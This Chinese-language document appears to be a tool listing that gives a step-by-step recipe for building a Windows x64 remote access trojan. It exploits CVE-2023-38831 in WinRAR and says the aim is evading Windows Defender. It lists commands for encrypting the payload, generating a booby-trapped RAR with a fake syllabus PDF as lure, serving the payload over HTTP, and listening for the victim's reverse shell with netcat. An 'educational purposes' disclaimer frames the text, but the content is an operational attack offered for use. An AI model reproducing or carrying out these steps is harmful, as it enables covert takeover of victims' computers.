Windows x64 远程访问木马 (RAT)

目标

利用 CVE-2023-38831（WinRAR < 6.23）和 Shellcode 利用技术开发 Windows x64 RAT，以绕过 Windows Defender。

系统说明

1. Shellcode 初始化
   • 使用 Windows/x64 - PIC Null-Free TCP 反向连接 Shellcode 生成 Shellcode。
2. main.cpp 说明
   • 在内存中注入并执行 Shellcode，建立反向 TCP 连接。
3. 编译并加密 main.cpp
   • 将 C++ 文件编译为可执行文件并进行加密。
4. 利用 WinRAR CVE-2023-38831
   • 利用漏洞下载、解密并执行加密后的 RAT。
5. 解密与执行脚本 (decrypt_file.ps1)
   • 解密并执行下载的可执行文件。
6. 执行
   • 打开精心构造的 PDF/图片，触发反向 Shell 连接。

利用指南

警告：此信息仅用于教育目的。未经授权使用这些技术是非法且不道德的。

逐步说明

1. 构造 Shellcode

   • 使用 51721.py 生成初始 Shellcode。

2. 修改并编译 Shellcode

   • 对 Shellcode 进行必要的修改。
   • 编译修改后的代码。

3. 加密可执行文件

   • 使用 decrypt_file.ps1 加密编译后的可执行文件：
     root@kitploit:~

     .\decrypt_file.ps1 -inputFile .\main.exe -outputFile .\enc_main.exe
     

4. 创建 WinRAR 压缩包

   • 使用 cve-2023-38831-exp-gen.py 创建压缩包：
     root@kitploit:~

     python cve-2023-38831-exp-gen.py NetworkSecuritySyllabus.pdf script.bat NetworkSecuritySyllabus.rar
     

5. 设置 Python 服务器用于文件下载

   • 进入包含 enc_main.exe 和 decrypt_file.ps1 的目录。
   • 启动 Python HTTP 服务器：
     root@kitploit:~

     python3 -m http.server 8000
     

6. 准备监听反向 TCP Shell

   • 打开 Netcat 监听传入的 TCP 连接：
     root@kitploit:~

     nc -lnvp 4444
     

7. 触发反向 TCP Shell

   • 当受害者打开 PDF 文件时，反向 TCP 连接将被触发，从而获得对其机器的访问权限。

免责声明

此信息仅用于教育目的。未经明确许可使用此利用技术是非法且不道德的。作者不对任何滥用此信息的行为承担责任。